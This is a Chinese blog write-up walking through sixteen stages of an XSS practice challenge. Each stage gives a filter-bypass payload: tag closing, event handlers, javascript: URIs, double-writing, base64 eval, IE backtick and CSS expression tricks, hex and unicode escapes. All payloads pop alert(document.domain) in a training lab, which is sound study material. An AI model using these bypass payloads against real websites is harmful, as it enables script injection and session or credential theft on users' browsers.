XSS challenges闯关笔记

这篇博客详细记录了作者在XSS挑战中的过程,包括不同阶段的解决策略和绕过方法,如标签属性、选择列表、隐藏参数、长度限制、事件触发等方面的XSS攻击。作者还探讨了如何利用UTF-7编码、CSS特性、IE浏览器特性和十六进制、Unicode编码绕过过滤机制。

stage-1 没有过滤的XSS

很简单,闭合b标签注入payload即可。
在这里插入图片描述

payload:

123qwe"</b><script>alert(document.domain)</script>

stage-2 标签属性中的XSS

与stage-1没有区别,闭合标签即可。
在这里插入图片描述

payload:

123qwe"><script>alert(document.domain);</script>

我们还可以在属性中的XSS闭合引入事件(事件为当鼠标移动在此处就弹窗)

123qwe"οnmοuseοver=alert(document.domain)>

stage-3 选择列表中的XSS

HTML select标签介绍:
select 元素可创建单选或多选菜单。 元素中的 标签用于定义列表中的可用选项。通过表单提交。前面一个volvo表示提交的表单值为volvo,后面的volvo表示在菜单列表中显示的内容。

在这里插入图片描述
表单介绍
HTML 表单用于搜集不同类型的用户输入。
在这里插入图片描述
手工
输入数据为1123选择国家为Japan,抓包结果如下:直接进行了转义
直接进行了转义

在参数p1进行构造:失败
在这里插入图片描述

尝试在参数p2进行构造:成功弹窗
在这里插入图片描述
payload:

p2=Japan<script>alert(document.domain);</script>

stage-4 隐藏提交参数中的XSS

HTML 表单隐藏参数介绍
隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。
代码格式:

input type="hidden" name="..." value="..."

在这里插入图片描述

HTML中svg介绍
SVG 意为可缩放矢量图形(Scalable Vector Graphics)。 SVG 使用 XML 格式定义图像。 SVG 文件可通过以下标签嵌入 HTML 文档:、 或者 。 也可以使用svg标签插入。
<svg/事件=””>

在这里插入图片描述
经过尝试发现p1和p2都进行了防护措施,我们对p3构造
在这里插入图片描述
payload:

p3=hackme"><svg onload=alert(document.domain);>
//当然也可以用<script>但是有些程序员可能会对其进行过滤,这时候可以考虑用<svg>来绕过

stage-5 限制输入长度的XSS

这个就很轻松,审查元素修改直接绕过。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200507151322413.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NvdXRoX2xheW91dA==,size_16,color_FFFFFF,t_70
payload:

123qwe"><script>alert(document.domain);</script>

stage-6 html事件中的xss

HTML 事件介绍
在现代浏览器中都内置有大量的事件处理器。这些处理器会监视特定的条件或用户行为,例如鼠标单击或浏览器窗口中完成加载某个图像。通过使用客户端的 JavaScript,可以将某些特定的事件处理器作为属性添加给特定的标签,并可以在事件发生时执行一个或多个 JavaScript 命令或函数。
在这里插入图片描述
在这里插入图片描述
闭合思路分析

在这里插入图片描述
闭合input标签,加入"><script>alert(document.domain);</script>发现引号和尖括号都被转义了 这个方法行不通。

在这里插入图片描述通过HTML事件来触发XSS,"onmouseover = "alert(document.domain)"成功弹窗

stage-7 空格分隔属性中的XSS

用上面的payload会发现都被转义了。但是有个神奇的现象,在参数之间加个空格,属性会被分割。
在这里插入图片描述
尝试在空格后构造payload
在这里插入图片描述
payload:

2222 οnmοuseοver=alert(document.domain)

stage-8 Javascript伪协议触发XSS

javascript伪协议介绍
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。
这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。

 javascript:var now = new Date(); "<h1>The time is:</h1>" + now; 

javascript URL还可以含有只执行动作,但不返回值的javascript语句。

avascript:alert("hello world!")

a链接标签属性href介绍
<a>标签定义超链接,用于从一个页面链接到另一个页面。
<a> 元素最重要的属性是 href 属性,它指定链接的目标。
在所有浏览器中,链接的默认外观如下:
未被访问的链接带有下划线而且是蓝色的
已被访问的链接带有下划线而且是紫色的
活动链接带有下划线而且是红色的

手工
闭合href构造payload,之前的payload又行不通了,尝试构造javasript伪协议触发XSS。注入payload后点击超链接成功弹窗。
payload:

javascript:alert(document.domain)">

stage-9 utf-7绕过

脑残题…IE的utf-7现在去哪里找这种东西。直接用firebug绕过了。
找到合适的地方插入,这里我们选择插入在br标签中

<script>alert(document.domain);</script>

在这里插入图片描述

stage-10 过滤domain为空的XSS

在这里插入图片描述
发现domain被自动替换为空,考虑双写绕过或者编码绕过。
双写绕过Payload:

"><script>alert(document.dodomainmain);</script>

编码绕过Payload:

<script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
////atob函数将base64进行解密

stage-11 替换script和onmouseover的XSS

script被自动替换成了xscript
在这里插入图片描述

onmouseover也被替换成了onxxx
在这里插入图片描述
首先考虑考虑伪协议绕过
Payload:

"> <a href=”javascript:(document.domain)">xss</a>

javascript被替换为了javaxscript
在这里插入图片描述
考虑空格绕过
payload:

"><a href="javascr    ipt:alert(document.domain);">xss</a>
//现在这个却爆出了404错误,百思不得其解,有知道的小伙伴可以告诉我
"><a href="javascr&#09ipt:alert(document.domain);">xss</a>
//尝试将空格用tab制表符号的十进制替换

stage-12 利用IE特性绕过过滤的XSS

1、HTML事件触发XSS

双引号和尖括号都被进行了过滤
在这里插入图片描述

2、闭合input,利用外部标签触发XSS
在这里插入图片描述

同样双引号和尖括号都被进行了过滤

ie浏览器的特性:
IE中 两个反引号 `` 可以闭合一个左边双引号。

Payload:

`` οnmοusemοve=alert(document.domain)

stage-13 利用CSS特性绕过的XSS

1、HTML事件触发XSS

"οnclick="alert(document.domain)"

在这里插入图片描述

2、闭合input,利用外部标签触发XSS

"><script>alert(document.domain);</script>

在这里插入图片描述
都被进行了转义,js代码无法执行

CSS特性讲解
background:url(https://blog.csdn.net/%E2%80%9Cjavascript:alert(document.domain);”); 设置背景颜色
设置background:url ,利用javascript伪协议执行js。目前IE浏览器支持,其他浏览器已经不再支持。(需要找到能够支持的IE浏览器版本)

Payload:

background-color:#f00;background:url(https://blog.csdn.net/"javascript:alert(document.domain);");

stage-14 IE中利用css触发的XSS

CSS介绍
层叠样式表(英文全称:Cascading Style Sheets)是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准通用标记语言的一个子集)等文件样式的计算机语言。CSS不仅可以静态地修饰网页,还可以配合各种脚本语言动态地对网页各元素进行格式化。
在这里插入图片描述
CSS中执行js
css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在Css中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始,取消对css expression的支持。

实际应用
早期很多开发人员利用css expression实现了许多效果,比如将元素相对鼠标指针进行定位,根据一个定时器来移动元素等等。当然这些效果能够使用js来实现。虽然css表达式问题很多,但是我们依然能够在网上看到它们的影子,甚至在一些成熟的商业网站上。最常见的一个应用就是悬浮在页面上的某个模块(比如导航、返回顶部)。

手工
注释绕过关键字过滤发现expression被过滤为XXX

CSS中的注释 /**/。绕过对关键字expression的过滤。 ex/**/pression
Payload:
xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

stage-15 十六进制绕过过滤触发的XSS

16进制介绍
十六进制转换有16进制每一位上可以是从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F16个大小不同的数,即逢16进1,其中用A,B,C,D,E,F(字母不区分大小写)这六个字母来分别表示10,11,12,13,14,15。

转换后<>的十六进制分别为0x3c和0x3e,转化为浏览器可识别的十六进制为\x3c和\x3e

手工
使用以上的payload都行不通,考虑十六进制绕过

发现斜杠被过滤,考虑双斜杠绕过
在这里插入图片描述
payload:

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

stage-16 unicode绕过过滤触发的XSS

unicode介绍
Unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。

使用python将字符转换为unicode类型。
在这里插入图片描述

手工
发现十六进制又被过滤了
在这里插入图片描述

考虑unicode编码
在这里插入图片描述

发现斜杠又被过滤了,考虑双斜杠绕过
payload:

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值